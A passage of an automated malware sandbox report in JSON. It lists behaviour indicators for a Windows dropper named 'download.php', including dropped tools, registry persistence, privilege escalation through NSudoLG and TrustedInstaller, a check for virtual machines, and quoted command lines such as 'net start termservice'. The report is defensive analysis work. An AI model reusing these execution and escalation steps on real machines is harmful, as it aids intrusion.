string)","description":"$2f","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; File: \"download.php\")\n Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; File: \"download.php\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"General","name":"Contains ability to create/control drivers (API string)","description":"Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; File: \"download.php\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-220","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"General","name":"Contains ability to create/load registry keys (API string)","description":"$30","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileA\" (Indicator: \"CreateFile\"; File: \"download.php\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; File: \"download.php\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; File: \"download.php\")\n Found reference to API \"\" (Indicator: \"CreateFile\"; Source: \"00000000-00002484.00000000.172381.01090000.00000004.mdmp\")\n Found reference to API \"\" (Indicator: \"CreateFile\"; Source: \"00000000-00002484.00000000.172381.01090000.00000004.mdmp\")\n Found reference to API \"\" (Indicator: \"CreateFile\"; Source: \"00000000-00004360.00000000.172778.03290000.00000004.mdmp\")\n Found reference to API \"\" (Indicator: \"CreateFile\"; Source: \"00000000-00004360.00000000.172778.03290000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"download.php\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: download.php)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: nircmd.exe)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: cecho.exe)","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$31","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"WinExec\" (Indicator: \"WinExec\"; File: \"download.php\")\n Found reference to API \"ShellExecuteA\" (Indicator: \"ShellExecute\"; File: \"download.php\")\n Found reference to API \"ShellExecuteExA\" (Indicator: \"ShellExecute\"; File: \"download.php\")\n Found reference to API \"\" (Indicator: \"WinExec\"; Source: \"00000000-00002484.00000000.172381.01090000.00000004.mdmp\")\n Found reference to API \"\" (Indicator: \"WinExec\"; Source: \"00000000-00004360.00000000.172778.03290000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"General","name":"Contains ability to execute windows services","description":"Found string \"net start termservice\" (Indicator: \"net start \"; File: \"00000000-00004360.00000000.172778.00CF1000.00000040.mdmp\")\n Found string \"net start termservice\" (Indicator: \"net start \"; Source: \"00000000-00004360.00000000.172778.00CF1000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-521","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"General","name":"Contains ability to executes commands or batch file","description":"file/memory contains long string with (Indicator: \"cmd.exe /c\"; File: \"RdRK6XK.bat\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c ver\" (Indicator: \"\\system32\\cmd.exe /c \"; Source: \"00000000-00005668-00000C46-39150744738\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c ver\" (Indicator: \"cmd.exe /c\"; Source: \"00000000-00005668-00000C46-39150744738\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c tasklist\" (Indicator: \"\\system32\\cmd.exe /c \"; Source: \"00000000-00005668-00000C46-53069767358\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c tasklist\" (Indicator: \"cmd.exe /c\"; Source: \"00000000-00005668-00000C46-53069767358\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c \"\"%TEMP%\\RdRK6XK.bat\" \"\" (Indicator: \"\\system32\\cmd.exe /c \"; File: \"cmd.exe\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c \"\"%TEMP%\\RdRK6XK.bat\" \"\" (Indicator: \"cmd.exe /c\"; File: \"cmd.exe\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-174","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"LockResource\" (Indicator: \"LockResource\"; File: \"download.php\")\n Found reference to API \"FindResourceA\" (Indicator: \"FindResource\"; File: \"download.php\")\n Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; File: \"download.php\")\n Found reference to API \"FreeResource\" (Indicator: \"FreeResource\"; File: \"download.php\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; File: \"download.php\")\n Found reference to API \"FindResourceW\" (Indicator: \"FindResource\"; File: \"download.php\")\n Found reference to API \"FindResourceExW\" (Indicator: \"FindResource\"; File: \"download.php\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"$32","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"download.php\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"download.php\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"download.php\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: \"download.php\")\n Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00004360.00000000.172778.00CF1000.00000040.mdmp\")\n Found reference to API \"CreateThreadpoolWait\" (Indicator: \"CreateThread\"; Source: \"00000000-00004360.00000000.172778.00CF1000.00000040.mdmp\")\n Found reference to API \"CreateThreadpoolWork\" (Indicator: \"CreateThread\"; Source: \"00000000-00004360.00000000.172778.00CF1000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; File: \"download.php\")\n file/memory contains long string with (Indicator: \"OpenProcess\"; File: \"download.php\")\n Found reference to API \"OpenProcessToken.3\" (Indicator: \"OpenProcess\"; File: \"download.php\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; File: \"download.php\")\n Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; File: \"download.php\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; File: \"download.php\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; File: \"download.php\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; File: \"download.php\")\n Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; File: \"download.php\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"General","name":"Contains ability to start a service (API string)","description":"Found reference to API \"StartServiceW\" (Indicator: \"StartService\"; File: \"download.php\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-209","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"General","name":"Contains reference to Sysinternals URL","description":"Found string \"File Monitor - Sysinternals: www.sysinternals.com\" (Indicator: \"www.sysinternals.com\"; Source: \"00000000-00004360-0000044C-2875813138\")\n Found string \"Process Monitor - Sysinternals: www.sysinternals.com\" (Indicator: \"www.sysinternals.com\"; Source: \"00000000-00004360-0000044C-2876541082\")\n Found string \"Registry Monitor - Sysinternals: www.sysinternals.com\" (Indicator: \"www.sysinternals.com\"; Source: \"00000000-00004360-0000044C-2892297514\")\n Found string \"ss Monitor - Sysinternals: www.sysinternals.com\" (Indicator: \"www.sysinternals.com\"; Source: \"00000000-00004360.00000000.172778.03290000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-262","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"General","name":"Contains reference to method used by Windows shell items (API string)","description":"Found reference to API \"SHFileOperationA\" (Indicator: \"SHFileOperation\"; File: \"download.php\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-269","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$33","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2924:168:WilStaging_02\"\n \"\\Sessions\\1\\BaseNamedObjects\\SM0:2924:64:WilError_01\"\n \"\\BaseNamedObjects\\SyncRootManager\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2924:64:WilError_01\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\SM0:2924:64:WilError_01\"\n \"Local\\SM0:2924:168:WilStaging_02\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"SM0:2924:64:WilError_01\"\n \"Local\\ZonesCacheCounterMutex\"","origin":"Created Mutant","mitre_attack_id":"T1480","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"General","name":"Executes batch file","description":"Process \"cmd.exe\" with commandline \"%WINDIR%\\\\system32\\\\cmd.exe /c \"\"%TEMP%\\\\RdRK6XK.bat\" \"\" (UID: 00000000-00003960)\n Process \"NSudoLG.exe\" with commandline \"NSudoLG -U:T -P:E -UseCurrentConsole \"%TEMP%\\\\RdRK6XK.bat\" any_word\" (UID: 00000000-00004264)\n Process \"cmd.exe\" with commandline \"/c \"\"%TEMP%\\\\RdRK6XK.bat\" any_word \"\" (UID: 00000000-00005668)","origin":"Monitored Target","mitre_attack_id":"T1059","relevance":3,"id":"target-220","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"\"1Q37l5.exe\" failed to load missing module \"\" (Indicator: \"RegDeleteValue\"; Source: \"00000000-00002484.00000000.172381.01090000.00000004.mdmp\")\n Found reference to API \"\" (Indicator: \"RegDeleteValue\"; Source: \"00000000-00002484.00000000.172381.01090000.00000004.mdmp\")\n Found reference to API \"\" (Indicator: \"RegDeleteValue\"; Source: \"00000000-00004360.00000000.172778.03290000.00000004.mdmp\")\n Found reference to API \"\" (Indicator: \"RegDeleteValue\"; Source: \"00000000-00004360.00000000.172778.03290000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"$4b","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesA\" (Indicator: \"SetFileAttributes\"; File: \"download.php\")\n Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; File: \"download.php\")\n Found reference to API \"\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00002484.00000000.172381.01090000.00000004.mdmp\")\n Found reference to API \"\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00002484.00000000.172381.01090000.00000004.mdmp\")\n Found reference to API \"\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00004360.00000000.172778.03290000.00000004.mdmp\")\n Found reference to API \"\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00004360.00000000.172778.03290000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoA\" (Indicator: \"SystemParametersInfo\"; File: \"download.php\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$4c","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"download.php\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; File: \"download.php\")\n Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00004360.00000000.172778.00CF1000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"download.php\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"cmd.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-18\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\CMD.EXE\"; Value: \"5E189D3C6FDEDB0100000000000000000000000002000000\")\n \"cmd.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-18\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\CMD.EXE\"; Value: \"B3A211406FDEDB0100000000000000000000000002000000\")\n \"cmd.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-18\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\CMD.EXE\"; Value: \"C:pqo\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"System Security","name":"Imports system security related APIs","description":"$4d","origin":"Static Parser","mitre_attack_id":"T1134.001","relevance":1,"id":"static-87","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$4e","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to reboot/shutdown the operating system (API string)","description":"Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; File: \"download.php\")\n file/memory contains long string with (Indicator: \"ExitWindows\"; File: \"download.php\")\n Found reference to API \"ExitWindowsEx.w\" (Indicator: \"ExitWindows\"; File: \"download.php\")","origin":"File/Memory","mitre_attack_id":"T1529","relevance":3,"id":"string-189","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"CreateMutexA\" (Indicator: \"CreateMutex\"; File: \"download.php\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"\"1Q37l5.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows 6 sections\"- Location: [%TEMP%\\IXP000.TMP\\1Q37l5.exe]- [targetUID: 00000000-00002924]\n \"2e2941.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows 7 sections\"- Location: [%TEMP%\\IXP000.TMP\\2e2941.exe]- [targetUID: 00000000-00004360]\n \"7z.exe\" has type \"PE32 executable (console) Intel 80386 for MS Windows 6 sections\"- Location: [%TEMP%\\Work\\7z.exe]- [targetUID: 00000000-00005668]\n \"NSudoLG.exe\" has type \"PE32+ executable (GUI) x86-64 for MS Windows 6 sections\"- Location: [%TEMP%\\Work\\NSudoLG.exe]- [targetUID: 00000000-00002924]\n \"nircmd.exe\" has type \"PE32+ executable (GUI) x86-64 for MS Windows 5 sections\"- Location: [%TEMP%\\Work\\nircmd.exe]- [targetUID: 00000000-00005668]\n \"cecho.exe\" has type \"PE32 executable (console) Intel 80386 for MS Windows UPX compressed 3 sections\"- Location: [%TEMP%\\Work\\cecho.exe]- [targetUID: 00000000-00002924]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"download.php\" was detected as \"Microsoft visual C++ 8\"\n \"1Q37l5.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"7z.exe\" was detected as \"Microsoft visual C++ 5.0\"\n \"cecho.exe\" was detected as \"UPX v1.25 (Delphi) Stub\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"download.php.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"1Q37l5.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"1Q37l5.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"reg.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"2e2941.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"\"download.php\" has section name .text with entropy \"6.314163792045976\"\n \"download.php\" has section name .rsrc with entropy \"7.9944060903522605\"\n \"download.php\" has section name .reloc with entropy \"6.222637930812128\"\n \"1Q37l5.exe\" has section name .text with entropy \"6.712962136932442\"\n \"1Q37l5.exe\" has section name .rsrc with entropy \"6.638661032196024\"\n \"1Q37l5.exe\" has section name .reloc with entropy \"6.623012966548067\"\n \"2e2941.exe\" has section name with entropy \"7.974268443016193\"\n \"2e2941.exe\" has section name tiksjxwl with entropy \"7.952519595103812\"\n \"7z.exe\" has section name .text with entropy \"6.713612828094582\"\n \"7z.exe\" has section name .reloc with entropy \"6.1691871802645295\"\n \"NSudoLG.exe\" has section name .text with entropy \"6.3424695313316555\"\n \"NSudoLG.exe\" has section name .rsrc with entropy \"6.065830324574059\"\n \"nircmd.exe\" has section name .text with entropy \"6.159825546168519\"\n \"cecho.exe\" has section name UPX1 with entropy \"7.855027344681443\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to detect virtual environment","description":"\"2e2941.exe\" (Path: \"HKLM\\HARDWARE\\DESCRIPTION\\SYSTEM\"; Key: \"SYSTEMBIOSVERSION\")\n \"2e2941.exe\" (Path: \"HKLM\\HARDWARE\\DESCRIPTION\\SYSTEM\"; Key: \"VIDEOBIOSVERSION\")","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-87","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"suspicious","category":"General","name":"Opened the service control manager","description":"\"NSudoLG.exe\" called \"OpenSCManagerW\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)","origin":"API Call","mitre_attack_id":"T1569.002","relevance":10,"id":"api-77","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"suspicious","category":"General","name":"PE file has unusual entropy resources","description":"\"download.php\" has resource with unusual entropy \"RT_ICON:7.985151320986029\"\n \"download.php\" has resource with unusual entropy \"RT_RCDATA:7.999549886737412\"\n \"1Q37l5.exe\" has resource with unusual entropy \"PNG:7.873558973125272\"\n \"1Q37l5.exe\" has resource with unusual entropy \"PNG:7.801285087882607\"\n \"1Q37l5.exe\" has resource with unusual entropy \"RT_ICON:7.945465179488283\"\n \"NSudoLG.exe\" has resource with unusual entropy \"RT_ICON:7.6816683534518235\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":5,"id":"static-92","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"1Q37l5.exe\" reads file \"C:\\Windows\\win.ini\"\n \"1Q37l5.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"1Q37l5.exe\" reads file \"C:\\Users\\%OSUSER%\\Documents\\desktop.ini\"\n \"1Q37l5.exe\" reads file \"C:\\Users\\%OSUSER%\\Music\\desktop.ini\"\n \"1Q37l5.exe\" reads file \"C:\\Users\\%OSUSER%\\Pictures\\desktop.ini\"\n \"1Q37l5.exe\" reads file \"C:\\Users\\%OSUSER%\\Videos\\desktop.ini\"\n \"1Q37l5.exe\" reads file \"C:\\Users\\%OSUSER%\\Downloads\\desktop.ini\"\n \"1Q37l5.exe\" reads file \"C:\\Users\\%OSUSER%\\OneDrive\\desktop.ini\"\n \"1Q37l5.exe\" reads file \"C:\\Users\\%OSUSER%\\Searches\\desktop.ini\"\n \"1Q37l5.exe\" reads file \"C:\\Users\\%OSUSER%\\Contacts\\desktop.ini\"\n \"1Q37l5.exe\" reads file \"C:\\Users\\%OSUSER%\\Favorites\\desktop.ini\"\n \"1Q37l5.exe\" reads file \"C:\\Users\\%OSUSER%\\Links\\desktop.ini\"\n \"1Q37l5.exe\" reads file \"C:\\Users\\%OSUSER%\\Saved Games\\desktop.ini\"\n \"1Q37l5.exe\" reads file \"C:\\Users\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"suspicious","category":"General","name":"Requested access to a system service","description":"\"NSudoLG.exe\" called \"OpenServiceW\" to access the \"TrustedInstaller\" service","origin":"API Call","mitre_attack_id":"T1007","relevance":10,"id":"api-76","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"suspicious","category":"General","name":"Writes archive files","description":"\"1Q37l5.exe\" writes archive file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\Work\\DKT.zip\"\n \"1Q37l5.exe\" writes archive file \"%TEMP%\\Work\\DKT.zip\"","origin":"API Call","mitre_attack_id":"T1560","relevance":5,"id":"api-168","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"1Q37l5.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows 6 sections\"- Location: [%TEMP%\\IXP000.TMP\\1Q37l5.exe]- [targetUID: 00000000-00002924]\n \"2e2941.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows 7 sections\"- Location: [%TEMP%\\IXP000.TMP\\2e2941.exe]- [targetUID: 00000000-00004360]\n \"7z.exe\" has type \"PE32 executable (console) Intel 80386 for MS Windows 6 sections\"- Location: [%TEMP%\\Work\\7z.exe]- [targetUID: 00000000-00005668]\n \"NSudoLG.exe\" has type \"PE32+ executable (GUI) x86-64 for MS Windows 6 sections\"- Location: [%TEMP%\\Work\\NSudoLG.exe]- [targetUID: 00000000-00002924]\n \"nircmd.exe\" has type \"PE32+ executable (GUI) x86-64 for MS Windows 5 sections\"- Location: [%TEMP%\\Work\\nircmd.exe]- [targetUID: 00000000-00005668]\n \"cecho.exe\" has type \"PE32 executable (console) Intel 80386 for MS Windows UPX compressed 3 sections\"- Location: [%TEMP%\\Work\\cecho.exe]- [targetUID: 00000000-00002924]","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"download.php.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\")\n \"download.php.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\"; Key: \"WEXTRACT_CLEANUP0\"; Value: \"rundll32.exe %WINDIR%\\system32\\advpack.dll,DelNodeRunDLL32 \"%TEMP%\\IXP000.TMP\\\"\")","origin":"Registry Access","mitre_attack_id":"T1547.001","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"$4f","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match – detects packer/protector","description":"YARA signature for packer/protector file \"cecho.exe\"","origin":"YARA Signature","mitre_attack_id":"T1027.013","relevance":1,"id":"yara-154","sources":[{"report_type":"sandbox","report_id":"684f2bd4393b543abc00bae7"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"Found string \"system32\\wbem\\wmiprvse.exe\" (Indicator: \"wmiprvse.exe\"; in 